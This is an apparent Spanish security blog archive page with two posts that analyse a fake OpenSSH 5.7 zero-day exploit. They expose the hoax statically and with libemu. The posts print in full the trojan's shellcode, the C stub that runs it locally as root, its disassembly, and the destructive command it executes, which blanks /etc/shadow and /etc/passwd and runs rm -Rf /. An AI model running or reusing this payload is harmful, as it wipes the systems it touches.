Un blog de Seguridad Informática, desde un punto de vista tecnológico

Archivo para febrero, 2011

libemu para el análisis dinámico del fake 0 day para OpenSSH

En la entrada anterior hemos recogido el análisis estático del falso 0 day para openssh y la shellcode utilizada para ejecutar el payload dañino:

echo "" > /etc/shadow"; echo "" > /etc/passwd; rm -Rf /

Sin embargo para un rápido análisis dinámico del falso 0 day, y concretamente de su payload, NX puede suponer un escollo, tal y como ha comentado Eloi Sanfelix a través de twitter.

En este caso, la libemu nos puede venir de perlas para poder hacer un análisis rápido de la shellcode:

"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65"
"\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73"
"\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22"
"\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20"
"\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1"
"\xcd\x80";

Podemos utilizar la utilidad «sctest» que acompaña a la librería:

$ sctest -S -s 30 < shellcode.bin verbose = 0 execve int execve (const char *dateiname=0012fe8a={/bin/sh}, const char * argv[], const char *envp[]); stepcount 30 int execve (      const char * dateiname = 0x0012fe8a =>
           = "/bin/sh";
     const char * argv[] = [
           = 0x0012fe7a =>
               = 0x0012fe8a =>
                   = "/bin/sh";
           = 0x0012fe7e =>
               = 0x0012fe92 =>
                   = "-c";
           = 0x0012fe82 =>
               = 0x0041701d =>
                   = "echo "" > /etc/shadow ; echo "" > /etc/passwd ; rm -Rf /";
           = 0x00000000 =>
             none;
     ];
     const char * envp[] = 0x00000000 =>
         none;
) =  0;

Por comentarlo, las llamadas al sistema que «emu_env_linux_new()» hookea por defecto (y que por tanto podríamos monitorizar con «sctest» tal y como lo hemos lanzado) están definidas en el array «syscall_hooks», en el fichero «env_linux_syscalls.h» y son las siguientes (para el entorno linux!):

"accept"
"bind"
"connect"
"dup2"
"execve"
"exit"
"fork"
"getpeername"
"getsockname"
"getsockopt"
"listen"
"recv"
"recvfrom"
"recvmsg"
"send"
"sendmsg"
"sendto"
"shutdown"
"socket"
"socketpair"

Por cierto, poco a poco, vamos avanzando los bindings de la libemu para ruby, que están disponibles en https://github.com/testpurposes/ruby-libemu (ojo! los bindings están totalmente en fase de desarrollo!!, y además lo avanzamos muy poco a poco :P, pero tal vez a alguien le puede ser útil o interesante 🙂 )


Fake 0day exploit para OpenSSH

Hoy hemos amanecido con alguna que otra noticia sobre un posible 0day en OpenSSH 5.7 (versión anterior a la actual OpenSSH 5.8/5.8p1).

Por lo que hemos podido trazar, al menos en Twitter el origen parece ser el siguiente tweet:
En twitter se han podido encontrar diversos enlaces al supuesto 0day:

Sólo con revisar la actividad de esta cuenta ya hay diferentes aspectos sospechosos, como el bajo número de Tweets y las fechas de los mismos.

Al acceder al enlace del servicio pastebin y otras fuentes, es posible acceder al supuesto código del exploit:

Además de este, se han detectado otras variantes, supuestamente multiplataforma:

Pues bien, después de realizar un análisis del primero de los exploits, se ha podido comprobar que se trata de un HOAX, y además dañiño.

Si revisamos el código, se inicializa la variable shellcode con lo que posteriormente veremos que se trata de un payload dañino.

unsigned char shellcode[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65"
"\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73"
"\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22"
"\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20"
"\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1"
"\xcd\x80";

En realidad del supuesto exploit, el único código relevante es el siguiente:

int main(int argc, char *argv[])
{
  int uid = getuid();
  int port = 22, sock;
  struct hostent *host;
  struct sockaddr_in addr;

  if(uid !=0)
  {
    fprintf(stderr, "[!!]Error: You must be root\n");
    exit(1);
  }
  if(uid == 0)
  {
    printf("\t[+]Starting exploit..\n");
  }
  if(argc != 3)
       usage(argv);

  fprintf(stderr, "[!!]Exploit failed\n");
  (*(void(*)())shellcode)();

En el que se comprueba que el usuario que lo ejecuta es root, se comprueba el número de argumentos y se llama un puntero a función que apunta al payload inicializado en la variable «shellcode», por lo que realmente éste se ejecuta en local.

A continuación se adjunta el análisis estático de la shellcode:

seg000:00000000
seg000:00000000 ; Segment type: Pure code
seg000:00000000 seg000          segment byte public 'CODE' use32
seg000:00000000                 assume cs:seg000
seg000:00000000                 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:00000000                 push    0Bh
seg000:00000002                 pop     eax             ; eax => system call numbre = 0xB (execve)
seg000:00000003                 cdq                     ; edx => \0
seg000:00000004                 push    edx
seg000:00000005                 push    small 'c-'
seg000:00000009                 mov     edi, esp        ; edi => pointer to "-c"
seg000:0000000B                 push    'hs/'
seg000:00000010                 push    'nib/'
seg000:00000015                 mov     ebx, esp        ; ebx => pointer to "/bin/sh"
seg000:00000017                 push    edx             ; push NULL
seg000:00000018                 call    loc_56          ; push pointer to "aEchoEtcShadowE"
seg000:00000018 ; ---------------------------------------------------------------------------
seg000:0000001D aEchoEtcShadowE db 'echo "" > /etc/shadow ; echo "" > /etc/passwd ; rm -Rf /',0
seg000:00000056 ; ---------------------------------------------------------------------------
seg000:00000056
seg000:00000056 loc_56:                                 ; CODE XREF: seg000:00000018?p
seg000:00000056                 push    edi             ; push pointer to "-c"
seg000:00000057                 push    ebx             ; push pointer to "/bin/sh"
seg000:00000058                 mov     ecx, esp        ; ecx => args = ["/bin/sh", "-c", "echo "" > /etc/shadow"; echo "" > /etc/passwd; rm -Rf /"]
seg000:0000005A                 int     80h             ; execve("/bin/sh", ["/bin/sh", "-c", "echo "" > /etc/shadow"; echo "" > /etc/passwd; rm -Rf /"], NULL)
seg000:0000005A seg000          ends
seg000:0000005A
seg000:0000005A
seg000:0000005A                 end

Así pues, el supuesto exploit ejecuta en el sistema local, con privilegios de root, el comando:

echo "" > /etc/shadow"; echo "" > /etc/passwd; rm -Rf /

Destacar que este no es el primer caso de fake exploits relacionados con OpenSSH, ya por el 2009 hubo otra oleada de fake exploits para el mismo servicio.